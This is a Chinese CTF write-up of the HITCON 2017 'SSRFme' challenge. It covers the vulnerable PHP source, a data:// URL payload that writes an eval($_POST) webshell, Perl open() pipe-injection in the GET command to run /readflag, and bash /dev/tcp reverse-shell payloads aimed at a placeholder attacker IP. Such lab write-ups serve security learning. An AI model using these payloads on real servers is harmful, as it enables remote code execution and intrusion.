[HITCON 2017]SSRFme

文章目录

php 复制代码
192.168.112.10 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

TRY

尝试通过data协议写入一句话木马

本地搭建一个类似靶场:

php 复制代码
<?php
    echo "<br>GET 命令:";
    echo "GET " . escapeshellarg($_GET["url"]);
    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));  
    echo "<br>data:";
    echo $data;
    $info = pathinfo($_GET["filename"]);  
    $dir  = str_replace(".", "", basename($info["dirname"]));
    echo "<br>dir:";
    echo $dir;
    mkdir($dir);
    chdir($dir);
    echo "<br>basename:";
    echo basename($info["basename"]);
    file_put_contents(basename($info["basename"]), $data);

url = data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pO2VjaG8gMTIzOz8+

filename = shell/shell.php

结果:

GET 命令:GET "data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pO2VjaG8gMTIzOz8+"

data:

dir:shell

basename:shell.php

说明执行该GET命令并不能通过data协议获得目标返回值。

尝试利用file协议读取本地文件

先在本地测试:

url = file://./flag

filename = file/flag.txt

结果:

GET 命令:GET "file://./flag"

data:

dir:file

basename:flag.txt

说明也不行。

尝试反弹shell

显然 GET "bash -c 'bash -i >& /dev/tcp/攻击机IP/5566 0>&1' " 是没法执行的。

WP

才发现我本地根本没有GET命令:)

通过data协议写入一句话木马

playload :

url = data://text/plain,'<?php eval($_POST[0]);echo 123;?>'或者使用base64编码也可以。

关键在于需要用引号括起来,否则的话执行系统命令时<?符号会解析为特殊作用,破坏格式。

filename = shell/shell.php

蚁剑连接,发现不能直接读取,打开虚拟终端,执行/readflag。

利用file协议读取本地文件

这个方法确实可行,但是由于flag不能直接读取,需要执行readflag,所以还需要利用一个perl语言中的漏洞:

当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。GET函数在底层调用了perl语言中的open函数。

playload:

  1. url=/&filename=upload/test.txt

    可以看到GET命令返回的是HTML格式数据。
  2. url=&filename=|/readflag
    因为需要系统中存在该文件名,所以第一次访问先创建。
  3. url=file:|/readflag&filename=upload/test2.txt
    GET "file:|/readflag" 会调用open读取本地文件|/readflag,由于管道符的存在执行命令。

反弹shell(失败)

和上面的方法差不多,利用open的漏洞执行系统命令。

  1. url=&filename=|bash -i >& /dev/tcp/[ip]/5566 0>&1
  2. url=file:|bash -i >& /dev/tcp/[ip]/5566 0>&1&filename=a

没有监听到连接。

总结

利用data协议写入木马时,需要注意<?符号破坏系统命令格式。perl语言中的open函数存在rce漏洞。反弹shell我只在同一网段的靶机上实现过,不知道用公网IP实现的问题在哪里。